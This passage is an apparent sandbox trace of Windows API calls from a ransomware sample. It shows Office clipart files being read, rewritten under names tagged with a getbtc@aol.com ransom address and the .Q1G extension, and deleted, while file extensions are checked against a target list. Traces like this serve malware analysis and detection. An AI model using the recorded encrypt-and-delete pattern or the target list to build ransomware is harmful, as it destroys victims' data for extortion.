Office\\CLIPART\\PUB60COR\\J0153089.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.273] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.273] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.274] GetLastError () returned 0x0 [0263.274] ReadFile (in: hFile=0x1f8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1ea8, lpOverlapped=0x0) returned 1 [0263.309] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1eb0, lpOverlapped=0x0) returned 1 [0263.310] ReadFile (in: hFile=0x1f8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.310] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.310] SetEndOfFile (hFile=0x39c) returned 1 [0263.310] CloseHandle (hObject=0x39c) returned 1 [0263.310] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.310] SetEndOfFile (hFile=0x1f8) returned 1 [0263.312] CloseHandle (hObject=0x1f8) returned 1 [0263.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf")) returned 1 [0263.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0263.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0263.334] lstrlenW (lpString=".doc") returned 4 [0263.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.334] lstrlenW (lpString=".docx") returned 5 [0263.334] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0263.334] lstrlenW (lpString=".pdf") returned 4 [0263.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.334] lstrlenW (lpString=".xls") returned 4 [0263.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.334] lstrlenW (lpString=".xlsx") returned 5 [0263.334] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0263.335] lstrlenW (lpString=".ppt") returned 4 [0263.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0263.335] lstrlenW (lpString=".zip") returned 4 [0263.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.335] lstrlenW (lpString=".rar") returned 4 [0263.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString=".bz2") returned 4 [0263.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString=".7z") returned 3 [0263.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0263.335] lstrlenW (lpString=".dbf") returned 4 [0263.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0263.335] lstrlenW (lpString=".1cd") returned 4 [0263.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0263.335] lstrlenW (lpString=".jpg") returned 4 [0263.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0263.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0263.335] lstrlenW (lpString=".doc") returned 4 [0263.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString=".docx") returned 5 [0263.335] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0263.335] lstrlenW (lpString=".pdf") returned 4 [0263.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.335] lstrlenW (lpString=".xls") returned 4 [0263.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.335] lstrlenW (lpString=".xlsx") returned 5 [0263.335] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0263.335] lstrlenW (lpString=".ppt") returned 4 [0263.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0263.336] lstrlenW (lpString=".zip") returned 4 [0263.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.336] lstrlenW (lpString=".rar") returned 4 [0263.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.336] lstrlenW (lpString=".bz2") returned 4 [0263.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.336] lstrlenW (lpString=".7z") returned 3 [0263.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0263.336] lstrlenW (lpString=".dbf") returned 4 [0263.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0263.336] lstrlenW (lpString=".1cd") returned 4 [0263.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0263.336] lstrlenW (lpString=".jpg") returned 4 [0263.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.336] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.336] lstrlenW (lpString="J0153095.WMF") returned 12 [0263.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.337] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3704) returned 1 [0263.337] CloseHandle (hObject=0x1f8) returned 1 [0263.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf")) returned 0x20 [0263.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.337] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.337] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.338] GetLastError () returned 0x0 [0263.338] ReadFile (in: hFile=0x1f8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xe78, lpOverlapped=0x0) returned 1 [0263.372] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe80, lpOverlapped=0x0) returned 1 [0263.373] ReadFile (in: hFile=0x1f8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.373] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.373] SetEndOfFile (hFile=0x39c) returned 1 [0263.373] CloseHandle (hObject=0x39c) returned 1 [0263.373] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.374] SetEndOfFile (hFile=0x1f8) returned 1 [0263.375] CloseHandle (hObject=0x1f8) returned 1 [0263.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf")) returned 1 [0263.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0263.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0263.376] lstrlenW (lpString=".doc") returned 4 [0263.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.376] lstrlenW (lpString=".docx") returned 5 [0263.376] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.376] lstrlenW (lpString=".pdf") returned 4 [0263.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.377] lstrlenW (lpString=".xls") returned 4 [0263.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.377] lstrlenW (lpString=".xlsx") returned 5 [0263.377] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.377] lstrlenW (lpString=".ppt") returned 4 [0263.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0263.377] lstrlenW (lpString=".zip") returned 4 [0263.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.377] lstrlenW (lpString=".rar") returned 4 [0263.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.377] lstrlenW (lpString=".bz2") returned 4 [0263.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.377] lstrlenW (lpString=".7z") returned 3 [0263.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0263.377] lstrlenW (lpString=".dbf") returned 4 [0263.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0263.377] lstrlenW (lpString=".1cd") returned 4 [0263.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0263.377] lstrlenW (lpString=".jpg") returned 4 [0263.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0263.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0263.377] lstrlenW (lpString=".doc") returned 4 [0263.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.377] lstrlenW (lpString=".docx") returned 5 [0263.377] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.377] lstrlenW (lpString=".pdf") returned 4 [0263.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.377] lstrlenW (lpString=".xls") returned 4 [0263.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.377] lstrlenW (lpString=".xlsx") returned 5 [0263.377] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.378] lstrlenW (lpString=".ppt") returned 4 [0263.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0263.378] lstrlenW (lpString=".zip") returned 4 [0263.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.378] lstrlenW (lpString=".rar") returned 4 [0263.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.378] lstrlenW (lpString=".bz2") returned 4 [0263.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.378] lstrlenW (lpString=".7z") returned 3 [0263.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0263.378] lstrlenW (lpString=".dbf") returned 4 [0263.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0263.378] lstrlenW (lpString=".1cd") returned 4 [0263.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0263.378] lstrlenW (lpString=".jpg") returned 4 [0263.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.378] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.378] lstrlenW (lpString="J0153273.WMF") returned 12 [0263.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.379] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=20096) returned 1 [0263.379] CloseHandle (hObject=0x1f8) returned 1 [0263.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf")) returned 0x20 [0263.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.379] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.379] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.380] GetLastError () returned 0x0 [0263.380] ReadFile (in: hFile=0x1f8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x4e80, lpOverlapped=0x0) returned 1 [0263.420] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4e90, lpOverlapped=0x0) returned 1 [0263.421] ReadFile (in: hFile=0x1f8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.421] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.421] SetEndOfFile (hFile=0x39c) returned 1 [0263.421] CloseHandle (hObject=0x39c) returned 1 [0263.421] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.421] SetEndOfFile (hFile=0x1f8) returned 1 [0263.423] CloseHandle (hObject=0x1f8) returned 1 [0263.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf")) returned 1 [0263.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0263.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0263.424] lstrlenW (lpString=".doc") returned 4 [0263.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.424] lstrlenW (lpString=".docx") returned 5 [0263.424] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0263.424] lstrlenW (lpString=".pdf") returned 4 [0263.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.425] lstrlenW (lpString=".xls") returned 4 [0263.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.425] lstrlenW (lpString=".xlsx") returned 5 [0263.425] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0263.425] lstrlenW (lpString=".ppt") returned 4 [0263.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0263.425] lstrlenW (lpString=".zip") returned 4 [0263.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.425] lstrlenW (lpString=".rar") returned 4 [0263.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.425] lstrlenW (lpString=".bz2") returned 4 [0263.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.425] lstrlenW (lpString=".7z") returned 3 [0263.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0263.425] lstrlenW (lpString=".dbf") returned 4 [0263.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0263.425] lstrlenW (lpString=".1cd") returned 4 [0263.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0263.425] lstrlenW (lpString=".jpg") returned 4 [0263.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0263.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0263.425] lstrlenW (lpString=".doc") returned 4 [0263.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.425] lstrlenW (lpString=".docx") returned 5 [0263.425] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0263.425] lstrlenW (lpString=".pdf") returned 4 [0263.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.425] lstrlenW (lpString=".xls") returned 4 [0263.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.425] lstrlenW (lpString=".xlsx") returned 5 [0263.425] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0263.426] lstrlenW (lpString=".ppt") returned 4 [0263.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0263.426] lstrlenW (lpString=".zip") returned 4 [0263.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.426] lstrlenW (lpString=".rar") returned 4 [0263.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.426] lstrlenW (lpString=".bz2") returned 4 [0263.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.426] lstrlenW (lpString=".7z") returned 3 [0263.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0263.426] lstrlenW (lpString=".dbf") returned 4 [0263.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0263.426] lstrlenW (lpString=".1cd") returned 4 [0263.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0263.426] lstrlenW (lpString=".jpg") returned 4 [0263.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.426] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.426] lstrlenW (lpString="J0153305.WMF") returned 12 [0263.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.436] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=38488) returned 1 [0263.436] CloseHandle (hObject=0x3a8) returned 1 [0263.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf")) returned 0x20 [0263.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.436] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 